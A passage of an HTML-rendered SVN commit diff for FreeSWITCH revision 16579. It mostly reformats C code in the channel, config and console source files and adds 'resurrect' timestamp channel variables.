+                mtt_hungup = 0, tt_prof_created, mtt_prof_created, mtt_progress = 0, mtt_progress_media = 0;
</ins><span class="cx">         void *pop;
</span><del>-        char dtstr[SWITCH_DTMF_LOG_LEN+1] = "";
</del><ins>+        char dtstr[SWITCH_DTMF_LOG_LEN + 1] = "";
</ins><span class="cx">         int x = 0;
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(channel->profile_mutex);
</span><span class="lines">@@ -2728,7 +2801,7 @@
</span><span class="cx">         if (switch_channel_test_flag(channel, CF_TIMESTAMP_SET)) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_channel_set_flag(channel, CF_TIMESTAMP_SET);
</span><span class="cx">
</span><span class="cx">         if (!(caller_profile = channel->caller_profile) || !channel->variables) {
</span><span class="lines">@@ -2761,7 +2834,7 @@
</span><span class="cx">                         dt = NULL;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (x) {
</span><span class="cx">                 switch_channel_set_variable(channel, "digits_dialed", dtstr);
</span><span class="cx">         } else {
</span><span class="lines">@@ -2787,6 +2860,12 @@
</span><span class="cx">                         switch_channel_set_variable(channel, "answer_stamp", answer);
</span><span class="cx">                 }
</span><span class="cx">
</span><ins>+                if (caller_profile->times->resurrected) {
+                        switch_time_exp_lt(&tm, caller_profile->times->resurrected);
+                        switch_strftime_nocheck(answer, &retsize, sizeof(resurrect), fmt, &tm);
+                        switch_channel_set_variable(channel, "resurrect_stamp", resurrect);
+                }
+
</ins><span class="cx">                 if (caller_profile->times->progress) {
</span><span class="cx">                         switch_time_exp_lt(&tm, caller_profile->times->progress);
</span><span class="cx">                         switch_strftime_nocheck(progress, &retsize, sizeof(progress), fmt, &tm);
</span><span class="lines">@@ -2824,6 +2903,13 @@
</span><span class="cx">                 switch_snprintf(tmp, sizeof(tmp), "%" SWITCH_TIME_T_FMT, caller_profile->times->answered);
</span><span class="cx">                 switch_channel_set_variable(channel, "answer_uepoch", tmp);
</span><span class="cx">
</span><ins>+                tt_resurrected = (time_t) (caller_profile->times->resurrected / 1000000);
+                mtt_resurrected = (time_t) (caller_profile->times->resurrected / 1000);
+                switch_snprintf(tmp, sizeof(tmp), "%" TIME_T_FMT, tt_resurrected);
+                switch_channel_set_variable(channel, "resurrect_epoch", tmp);
+                switch_snprintf(tmp, sizeof(tmp), "%" SWITCH_TIME_T_FMT, caller_profile->times->resurrected);
+                switch_channel_set_variable(channel, "resurrect_uepoch", tmp);
+
</ins><span class="cx">                 tt_progress = (time_t) (caller_profile->times->progress / 1000000);
</span><span class="cx">                 mtt_progress = (time_t) (caller_profile->times->progress / 1000);
</span><span class="cx">                 switch_snprintf(tmp, sizeof(tmp), "%" TIME_T_FMT, tt_progress);
</span><span class="lines">@@ -2913,7 +2999,7 @@
</span><span class="cx">         switch_snprintf(tmp, sizeof(tmp), "%d", answermsec);
</span><span class="cx">         switch_channel_set_variable(channel, "answermsec", tmp);
</span><span class="cx">
</span><del>-        switch_snprintf(tmp, sizeof(tmp), "%d" , progressmsec);
</del><ins>+        switch_snprintf(tmp, sizeof(tmp), "%d", progressmsec);
</ins><span class="cx">         switch_channel_set_variable(channel, "progress_mediamsec", tmp);
</span><span class="cx">
</span><span class="cx">         switch_snprintf(tmp, sizeof(tmp), "%d", legbillmsec);
</span><span class="lines">@@ -2936,7 +3022,7 @@
</span><span class="cx">
</span><span class="cx">         switch_snprintf(tmp, sizeof(tmp), "%" SWITCH_TIME_T_FMT, legbillusec);
</span><span class="cx">         switch_channel_set_variable(channel, "flow_billusec", tmp);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_unlock(channel->profile_mutex);
</span><span class="cx">
</span><span class="cx">         return status;
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_configc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_config.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_config.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_config.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_consolec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_console.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_console.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_console.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -68,7 +68,7 @@
</span><span class="cx"> #define KEY_INSERT 8
</span><span class="cx"> #define PROMPT_OP 9
</span><span class="cx">
</span><del>-static int console_bufferInput (char* buf, int len, char *cmd, int key);
</del><ins>+static int console_bufferInput(char *buf, int len, char *cmd, int key);
</ins><span class="cx"> #endif
</span><span class="cx"> #endif
</span><span class="cx">
</span><span class="lines">@@ -123,7 +123,7 @@
</span><span class="cx"> SWITCH_DECLARE_NONSTD(switch_status_t) switch_console_stream_raw_write(switch_stream_handle_t *handle, uint8_t *data, switch_size_t datalen)
</span><span class="cx"> {
</span><span class="cx">         switch_size_t need = handle->data_len + datalen;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (need >= handle->data_size) {
</span><span class="cx">                 void *new_data;
</span><span class="cx">                 need += handle->alloc_chunk;
</span><span class="lines">@@ -139,7 +139,7 @@
</span><span class="cx">         memcpy((uint8_t *) (handle->data) + handle->data_len, data, datalen);
</span><span class="cx">         handle->data_len += datalen;
</span><span class="cx">         handle->end = (uint8_t *) (handle->data) + handle->data_len;
</span><del>-        *(uint8_t *)handle->end = '\0';
</del><ins>+        *(uint8_t *) handle->end = '\0';
</ins><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -205,12 +205,12 @@
</span><span class="cx">         char *dpath = NULL;
</span><span class="cx">         int fd;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!switch_is_file_path(path)) {
</span><span class="cx">                 dpath = switch_mprintf("%s%s%s", SWITCH_GLOBAL_dirs.conf_dir, SWITCH_PATH_SEPARATOR, path);
</span><span class="cx">                 path = dpath;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((fd = open(path, O_RDONLY)) > -1) {
</span><span class="cx">                 char buf[2048] = { 0 };
</span><span class="cx">                 while (switch_fd_read_line(fd, buf, sizeof(buf))) {
</span><span class="lines">@@ -219,7 +219,7 @@
</span><span class="cx">                 close(fd);
</span><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(dpath);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -296,11 +296,12 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-static int switch_console_process(char *xcmd) {
</del><ins>+static int switch_console_process(char *xcmd)
+{
</ins><span class="cx">         switch_stream_handle_t stream = { 0 };
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         FILE *handle = switch_core_get_console();
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_STANDARD_STREAM(stream);
</span><span class="cx">         switch_assert(stream.data);
</span><span class="cx">
</span><span class="lines">@@ -321,7 +322,7 @@
</span><span class="cx">         switch_safe_free(stream.data);
</span><span class="cx">
</span><span class="cx">         return 1;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -338,7 +339,7 @@
</span><span class="cx">
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (rec > 100) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Too much recursion!\n");
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -369,10 +370,10 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">
</span><del>-                status = switch_api_execute(cmd, arg, NULL, istream);                
</del><ins>+                status = switch_api_execute(cmd, arg, NULL, istream);
</ins><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         switch_safe_free(dup);
</span><span class="cx">
</span><span class="lines">@@ -453,24 +454,31 @@
</span><span class="cx">         char *target = NULL, *str = NULL, *cur = NULL;
</span><span class="cx">         switch_size_t x, y, i;
</span><span class="cx">
</span><del>-        
-        if (argc > 0) target = argv[0];
-        if (argc > 1) str = argv[1];
-        if (argc > 2) cur = argv[2];
</del><span class="cx">
</span><ins>+        if (argc > 0)
+                target = argv[0];
+        if (argc > 1)
+                str = argv[1];
+        if (argc > 2)
+                cur = argv[2];
+
</ins><span class="cx">         if (cur) {
</span><del>-                while (*cur == ' ') cur++;
</del><ins>+                while (*cur == ' ')
+                        cur++;
</ins><span class="cx">         }
</span><span class="cx">
</span><del>-        if (zstr(cur)) cur = NULL;
-        if (zstr(str)) str = NULL;
</del><ins>+        if (zstr(cur))
+                cur = NULL;
+        if (zstr(str))
+                str = NULL;
</ins><span class="cx">
</span><span class="cx">         if (!target) {
</span><span class="cx">                 return -1;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (!zstr(target) && *target == ':' && *(target+1) == ':') {
-                char *r_argv[1] = { 0 }, *r_cols[1] = { 0 };
</del><ins>+        if (!zstr(target) && *target == ':' && *(target + 1) == ':') {
+                char *r_argv[1] = { 0 }, *r_cols[1] = {
+                0};
</ins><span class="cx">                 switch_console_callback_match_t *matches;
</span><span class="cx">                 if (switch_console_run_complete_func(target, str, cur, &matches) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_console_callback_match_node_t *m;
</span><span class="lines">@@ -499,17 +507,17 @@
</span><span class="cx">                 switch_copy_string(h->last, target, sizeof(h->last));
</span><span class="cx">                 h->hits++;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         x = strlen(h->last);
</span><span class="cx">         y = strlen(h->partial);
</span><span class="cx">
</span><span class="cx">         if (h->hits > 1) {
</span><del>-                for(i = 0; i < x && i < y; i++) {
</del><ins>+                for (i = 0; i < x && i < y; i++) {
</ins><span class="cx">                         if (h->last[i] != h->partial[i]) {
</span><span class="cx">                                 h->partial[i] = '\0';
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><del>-                }        
</del><ins>+                }
</ins><span class="cx">         } else if (h->hits == 1) {
</span><span class="cx">                 switch_copy_string(h->partial, target, sizeof(h->last));
</span><span class="cx">         }
</span><span class="lines">@@ -554,15 +562,14 @@
</span><span class="cx">         switch_cache_db_handle_t *db = NULL;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         char *errmsg;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_db_handle(&db);
</span><span class="cx">
</span><span class="cx">         if (!zstr(cursor)) {
</span><del>-                sql = switch_mprintf("select distinct uuid from channels where uuid like '%q%%' and hostname='%q' order by uuid",
</del><ins>+                sql = switch_mprintf("select distinct uuid from channels where uuid like '%q%%' and hostname='%q' order by uuid",
</ins><span class="cx">                                                          cursor, switch_core_get_variable("hostname"));
</span><span class="cx">         } else {
</span><del>-                sql = switch_mprintf("select distinct uuid from channels where hostname='%q' order by uuid",
-                                                         switch_core_get_variable("hostname"));
</del><ins>+                sql = switch_mprintf("select distinct uuid from channels where hostname='%q' order by uuid", switch_core_get_variable("hostname"));
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_cache_db_execute_sql_callback(db, sql, uuid_callback, &h, &errmsg);
</span><span class="lines">@@ -580,7 +587,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-SWITCH_DECLARE(unsigned char) switch_console_complete(const char *line, const char *cursor, FILE *console_out,
</del><ins>+SWITCH_DECLARE(unsigned char) switch_console_complete(const char *line, const char *cursor, FILE * console_out,
</ins><span class="cx">                                                                                                          switch_stream_handle_t *stream, switch_xml_t xml)
</span><span class="cx"> {
</span><span class="cx">         switch_cache_db_handle_t *db = NULL;
</span><span class="lines">@@ -593,7 +600,7 @@
</span><span class="cx">         unsigned char ret = CC_REDISPLAY;
</span><span class="cx">         int pos = 0;
</span><span class="cx">         int sc = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx"> #ifndef SWITCH_HAVE_LIBEDIT
</span><span class="cx"> #ifndef _MSC_VER
</span><span class="cx">         if (!stream) {
</span><span class="lines">@@ -603,11 +610,11 @@
</span><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx">         switch_core_db_handle(&db);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(cursor) && !zstr(line)) {
</span><span class="cx">                 pos = (cursor - line);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         h.out = console_out;
</span><span class="cx">         h.stream = stream;
</span><span class="cx">         h.xml = xml;
</span><span class="lines">@@ -631,11 +638,11 @@
</span><span class="cx">                         el_deletestr(el, sc);
</span><span class="cx">                 }
</span><span class="cx"> #endif
</span><del>-        }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         sc = 0;
</span><span class="cx">         p = end_of_p(buf);
</span><del>-        while(p >= buf && *p == ' ') {
</del><ins>+        while (p >= buf && *p == ' ') {
</ins><span class="cx">                 sc++;
</span><span class="cx">                 p--;
</span><span class="cx">         }
</span><span class="lines">@@ -653,17 +660,19 @@
</span><span class="cx">                 if (*p == ' ') {
</span><span class="cx">                         lp = p;
</span><span class="cx">                         h.words++;
</span><del>-                        while(*p == ' ') p++;
-                        if (!*p) break;
</del><ins>+                        while (*p == ' ')
+                                p++;
+                        if (!*p)
+                                break;
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (lp) {
</span><span class="cx">                 buf = lp + 1;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         h.len = strlen(buf);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (h.out) {
</span><span class="cx">                 fprintf(h.out, "\n\n");
</span><span class="cx">         }
</span><span class="lines">@@ -675,10 +684,10 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">         if (h.words == 0) {
</span><del>-                sql = switch_mprintf("select distinct name from interfaces where type='api' and name like '%q%%' and hostname='%q' order by name",
</del><ins>+                sql = switch_mprintf("select distinct name from interfaces where type='api' and name like '%q%%' and hostname='%q' order by name",
</ins><span class="cx">                                                          buf, switch_core_get_variable("hostname"));
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sql) {
</span><span class="cx">                 switch_cache_db_execute_sql_callback(db, sql, comp_callback, &h, &errmsg);
</span><span class="cx">
</span><span class="lines">@@ -703,7 +712,7 @@
</span><span class="cx">                 argc = switch_separate_string(dupdup, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">
</span><span class="cx">                 if (h.words == 0) {
</span><del>-                        stream.write_function(&stream, "select distinct a1 from complete where " "a1 not in (select name from interfaces where hostname='%s') %s ",
</del><ins>+                        stream.write_function(&stream, "select distinct a1 from complete where " "a1 not in (select name from interfaces where hostname='%s') %s ",
</ins><span class="cx">                                                                  switch_core_get_variable("hostname"), argc ? "and" : "");
</span><span class="cx">                 } else {
</span><span class="cx">                         if (db->type == SCDB_TYPE_CORE_DB) {
</span><span class="lines">@@ -716,10 +725,10 @@
</span><span class="cx">                 for (x = 0; x < argc && x < 11; x++) {
</span><span class="cx">                         if (h.words + 1 > argc) {
</span><span class="cx">                                 if (db->type == SCDB_TYPE_CORE_DB) {
</span><del>-                                        stream.write_function(&stream, "(a%d like '::%%' or a%d = '' or a%d = '%q')%q",
</del><ins>+                                        stream.write_function(&stream, "(a%d like '::%%' or a%d = '' or a%d = '%q')%q",
</ins><span class="cx">                                                                                  x + 1, x + 1, x + 1, switch_str_nil(argv[x]), x == argc - 1 ? "" : " and ");
</span><span class="cx">                                 } else {
</span><del>-                                        stream.write_function(&stream, "(a%d like '::%%' or a%d = '' or a%d = '%w')%w",
</del><ins>+                                        stream.write_function(&stream, "(a%d like '::%%' or a%d = '' or a%d = '%w')%w",
</ins><span class="cx">                                                                                  x + 1, x + 1, x + 1, switch_str_nil(argv[x]), x == argc - 1 ? "" : " and ");
</span><span class="cx">                                 }
</span><span class="cx">                         } else {
</span><span class="lines">@@ -735,7 +744,7 @@
</span><span class="cx">
</span><span class="cx">                 stream.write_function(&stream, " and hostname='%s'", switch_core_get_variable("hostname"));
</span><span class="cx">                 switch_cache_db_execute_sql_callback(db, stream.data, comp_callback, &h, &errmsg);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (errmsg) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "error [%s][%s]\n", (char *) stream.data, errmsg);
</span><span class="cx">                         free(errmsg);
</span><span class="lines">@@ -761,22 +770,21 @@
</span><span class="cx">                 } else if (h.hits > 1 && !zstr(h.partial)) {
</span><span class="cx">                         h.stream->write_function(h.stream, "write=%d:%s", h.len, h.partial);
</span><span class="cx">                 }
</span><del>-        }
-        
</del><ins>+        }
+
</ins><span class="cx">         if (h.xml) {
</span><span class="cx">                 switch_xml_t x_write = switch_xml_add_child_d(h.xml, "write", h.xml_off++);
</span><span class="cx">                 char buf[32];
</span><del>-                
</del><ins>+
</ins><span class="cx">                 snprintf(buf, sizeof(buf), "%d", h.len);
</span><span class="cx">                 switch_xml_set_attr_d_buf(x_write, "length", buf);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (h.hits == 1 && !zstr(h.last)) {
</span><span class="cx">                         switch_xml_set_txt_d(x_write, h.last);
</span><span class="cx">                 } else if (h.hits > 1 && !zstr(h.partial)) {
</span><span class="cx">                         switch_xml_set_txt_d(x_write, h.partial);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef SWITCH_HAVE_LIBEDIT
</span><span class="cx">         if (h.out) {
</span><span class="cx">                 if (h.hits == 1 && !zstr(h.last)) {
</span><span class="lines">@@ -792,14 +800,14 @@
</span><span class="cx"> #ifdef _MSC_VER
</span><span class="cx">         if (h.out) {
</span><span class="cx">                 if (h.hits == 1 && !zstr(h.last)) {
</span><del>-                        console_bufferInput(0, h.len, (char*)line, DELETE_REFRESH_OP);
-                        console_bufferInput(h.last, (int)strlen(h.last), (char*)line, 0);
-                        console_bufferInput(" ", 1, (char*)line, 0);
</del><ins>+                        console_bufferInput(0, h.len, (char *) line, DELETE_REFRESH_OP);
+                        console_bufferInput(h.last, (int) strlen(h.last), (char *) line, 0);
+                        console_bufferInput(" ", 1, (char *) line, 0);
</ins><span class="cx">                 } else if (h.hits > 1 && !zstr(h.partial)) {
</span><del>-                        console_bufferInput(0, h.len, (char*)line, DELETE_REFRESH_OP);
-                        console_bufferInput(h.partial, (int)strlen(h.partial), (char*)line, 0);
</del><ins>+                        console_bufferInput(0, h.len, (char *) line, DELETE_REFRESH_OP);
+                        console_bufferInput(h.partial, (int) strlen(h.partial), (char *) line, 0);
</ins><span class="cx">                 } else {
</span><del>-                        console_bufferInput(0, 0, (char*)line, DELETE_REFRESH_OP);
</del><ins>+                        console_bufferInput(0, 0, (char *) line, DELETE_REFRESH_OP);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> #endif
</span><span class="lines">@@ -931,7 +939,7 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "We've become an orphan, no more console for us.\n");
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_core_session_ctl(SCSC_CHECK_RUNNING, &arg);
</span><span class="cx">                 if (!arg) {
</span><span class="cx">                         break;
</span><span class="lines">@@ -1071,11 +1079,11 @@
</span><span class="cx"> #else
</span><span class="cx">
</span><span class="cx"> #ifdef _MSC_VER
</span><del>-char history[HISTLEN][CMD_BUFLEN+1];
</del><ins>+char history[HISTLEN][CMD_BUFLEN + 1];
</ins><span class="cx"> int iHistory = 0;
</span><span class="cx"> int iHistorySel = 0;
</span><span class="cx">
</span><del>-static int console_history (char *cmd, int direction)
</del><ins>+static int console_history(char *cmd, int direction)
</ins><span class="cx"> {
</span><span class="cx">         int i;
</span><span class="cx">         static int first;
</span><span class="lines">@@ -1083,26 +1091,22 @@
</span><span class="cx">         if (direction == 0) {
</span><span class="cx">                 first = 1;
</span><span class="cx">                 if (iHistory < HISTLEN) {
</span><del>-                        if (iHistory && strcmp(history[iHistory-1], cmd)) {
</del><ins>+                        if (iHistory && strcmp(history[iHistory - 1], cmd)) {
</ins><span class="cx">                                 iHistorySel = iHistory;
</span><span class="cx">                                 strcpy(history[iHistory++], cmd);
</span><del>-                        }
-                        else if (iHistory == 0) {
</del><ins>+                        } else if (iHistory == 0) {
</ins><span class="cx">                                 iHistorySel = iHistory;
</span><span class="cx">                                 strcpy(history[iHistory++], cmd);
</span><span class="cx">                         }
</span><del>-                }
-                else {
-                        iHistory = HISTLEN-1;
-                        for (i = 0; i < HISTLEN-1; i++)
-                        {
-                                strcpy(history[i], history[i+1]);
</del><ins>+                } else {
+                        iHistory = HISTLEN - 1;
+                        for (i = 0; i < HISTLEN - 1; i++) {
+                                strcpy(history[i], history[i + 1]);
</ins><span class="cx">                         }
</span><span class="cx">                         iHistorySel = iHistory;
</span><span class="cx">                         strcpy(history[iHistory++], cmd);
</span><span class="cx">                 }
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 if (!first) {
</span><span class="cx">                         iHistorySel += direction;
</span><span class="cx">                 }
</span><span class="lines">@@ -1111,22 +1115,22 @@
</span><span class="cx">                         iHistorySel = 0;
</span><span class="cx">                 }
</span><span class="cx">                 if (iHistory && iHistorySel >= iHistory) {
</span><del>-                        iHistorySel = iHistory-1;
</del><ins>+                        iHistorySel = iHistory - 1;
</ins><span class="cx">                 }
</span><span class="cx">                 strcpy(cmd, history[iHistorySel]);
</span><span class="cx">         }
</span><span class="cx">         return (SWITCH_STATUS_SUCCESS);
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static int console_bufferInput (char* addchars, int len, char *cmd, int key)
</del><ins>+static int console_bufferInput(char *addchars, int len, char *cmd, int key)
</ins><span class="cx"> {
</span><del>- static int iCmdBuffer = 0;
</del><ins>+        static int iCmdBuffer = 0;
</ins><span class="cx">         static int iCmdCursor = 0;
</span><del>- static int ignoreNext = 0;
</del><ins>+        static int ignoreNext = 0;
</ins><span class="cx">         static int insertMode = 1;
</span><span class="cx">         static COORD orgPosition;
</span><del>-        static char prompt [80];
- int iBuf;
</del><ins>+        static char prompt[80];
+        int iBuf;
</ins><span class="cx">         int i;
</span><span class="cx">
</span><span class="cx">         HANDLE hOut;
</span><span class="lines">@@ -1147,12 +1151,12 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (key == KEY_TAB) {
</span><del>-                switch_console_complete(cmd, cmd+iCmdBuffer, switch_core_get_console(), NULL, NULL);
</del><ins>+                switch_console_complete(cmd, cmd + iCmdBuffer, switch_core_get_console(), NULL, NULL);
</ins><span class="cx">                 return 0;
</span><span class="cx">         }
</span><span class="cx">         if (key == KEY_UP || key == KEY_DOWN || key == CLEAR_OP) {
</span><span class="cx">                 SetConsoleCursorPosition(hOut, orgPosition);
</span><del>-                for (i = 0; i < (int)strlen(cmd); i++) {
</del><ins>+                for (i = 0; i < (int) strlen(cmd); i++) {
</ins><span class="cx">                         printf(" ");
</span><span class="cx">                 }
</span><span class="cx">                 SetConsoleCursorPosition(hOut, orgPosition);
</span><span class="lines">@@ -1161,11 +1165,11 @@
</span><span class="cx">                 memset(cmd, 0, CMD_BUFLEN);
</span><span class="cx">         }
</span><span class="cx">         if (key == DELETE_REFRESH_OP) {
</span><del>-                int l = len < (int)strlen(cmd) ? len : (int)strlen(cmd);
</del><ins>+                int l = len < (int) strlen(cmd) ? len : (int) strlen(cmd);
</ins><span class="cx">                 for (i = 0; i < l; i++) {
</span><span class="cx">                         cmd[--iCmdBuffer] = 0;
</span><span class="cx">                 }
</span><del>-                iCmdCursor = (int)strlen(cmd);
</del><ins>+                iCmdCursor = (int) strlen(cmd);
</ins><span class="cx">                 printf("%s", prompt);
</span><span class="cx">                 GetConsoleScreenBufferInfo(hOut, &info);
</span><span class="cx">                 orgPosition = info.dwCursorPosition;
</span><span class="lines">@@ -1177,9 +1181,8 @@
</span><span class="cx">                 if (iCmdCursor) {
</span><span class="cx">                         if (position.X == 0) {
</span><span class="cx">                                 position.Y -= 1;
</span><del>-                                position.X = info.dwSize.X-1;
-                        }
-                        else {
</del><ins>+                                position.X = info.dwSize.X - 1;
+                        } else {
</ins><span class="cx">                                 position.X -= 1;
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="lines">@@ -1188,12 +1191,11 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         if (key == KEY_RIGHT) {
</span><del>-                if (iCmdCursor < (int)strlen(cmd)) {
-                        if (position.X == info.dwSize.X-1) {
</del><ins>+                if (iCmdCursor < (int) strlen(cmd)) {
+                        if (position.X == info.dwSize.X - 1) {
</ins><span class="cx">                                 position.Y += 1;
</span><span class="cx">                                 position.X = 0;
</span><del>-                        }
-                        else {
</del><ins>+                        } else {
</ins><span class="cx">                                 position.X += 1;
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="lines">@@ -1204,149 +1206,143 @@
</span><span class="cx">         if (key == KEY_INSERT) {
</span><span class="cx">                 insertMode = !insertMode;
</span><span class="cx">         }
</span><del>- for (iBuf = 0; iBuf < len; iBuf++) {
</del><ins>+        for (iBuf = 0; iBuf < len; iBuf++) {
</ins><span class="cx">                 switch (addchars[iBuf]) {
</span><del>-                        case '\r':
-                        case '\n':
-                                if (ignoreNext) {
-                                        ignoreNext = 0;
</del><ins>+                case '\r':
+                case '\n':
+                        if (ignoreNext) {
+                                ignoreNext = 0;
+                        } else {
+                                int ret = iCmdBuffer;
+                                if (iCmdBuffer == 0) {
+                                        strcpy(cmd, "Empty");
+                                        ret = (int) strlen(cmd);
+                                } else {
+                                        console_history(cmd, 0);
+                                        cmd[iCmdBuffer] = 0;
</ins><span class="cx">                                 }
</span><del>-                                else {
-                                        int ret = iCmdBuffer;
-                                        if (iCmdBuffer == 0) {
-                                                strcpy(cmd, "Empty");
-                                                ret = (int)strlen(cmd);
-                                        }
-                                        else {
-                                                console_history(cmd, 0);
-                                                cmd[iCmdBuffer] = 0;
-                                        }
-                                        iCmdBuffer = 0;
-                                        iCmdCursor = 0;
-                                        printf("\n");
-                                        return (ret);
</del><ins>+                                iCmdBuffer = 0;
+                                iCmdCursor = 0;
+                                printf("\n");
+                                return (ret);
+                        }
+                        break;
+                case '\b':
+                        if (iCmdCursor) {
+                                if (position.X == 0) {
+                                        position.Y -= 1;
+                                        position.X = info.dwSize.X - 1;
+                                        SetConsoleCursorPosition(hOut, position);
+                                } else {
+                                        position.X -= 1;
+                                        SetConsoleCursorPosition(hOut, position);
</ins><span class="cx">                                 }
</span><del>-                                break;
-                        case '\b':
-                                if (iCmdCursor) {
-                                        if (position.X == 0) {
-                                                position.Y -= 1;
-                                                position.X = info.dwSize.X-1;
-                                                SetConsoleCursorPosition(hOut, position);
</del><ins>+                                printf(" ");
+                                if (iCmdCursor < iCmdBuffer) {
+                                        int pos;
+                                        iCmdCursor--;
+                                        for (pos = iCmdCursor; pos < iCmdBuffer; pos++) {
+                                                cmd[pos] = cmd[pos + 1];
</ins><span class="cx">                                         }
</span><del>-                                        else {
-                                                position.X -= 1;
-                                                SetConsoleCursorPosition(hOut, position);
</del><ins>+                                        cmd[pos] = 0;
+                                        iCmdBuffer--;
+
+                                        SetConsoleCursorPosition(hOut, position);
+                                        for (pos = iCmdCursor; pos < iCmdBuffer; pos++) {
+                                                printf("%c", cmd[pos]);
</ins><span class="cx">                                         }
</span><span class="cx">                                         printf(" ");
</span><del>-                                        if (iCmdCursor < iCmdBuffer) {
-                                                        int pos;
-                                                        iCmdCursor--;
-                                                        for (pos = iCmdCursor; pos < iCmdBuffer; pos++) {
-                                                                cmd[pos] = cmd[pos+1];
-                                                        }
-                                                        cmd[pos] = 0;
-                                                        iCmdBuffer--;
</del><ins>+                                        SetConsoleCursorPosition(hOut, position);
+                                } else {
+                                        SetConsoleCursorPosition(hOut, position);
+                                        iCmdBuffer--;
+                                        iCmdCursor--;
+                                        cmd[iCmdBuffer] = 0;
+                                }
+                        }
+                        break;
+                default:
+                        if (!ignoreNext) {
+                                if (iCmdCursor < iCmdBuffer) {
+                                        int pos;
</ins><span class="cx">
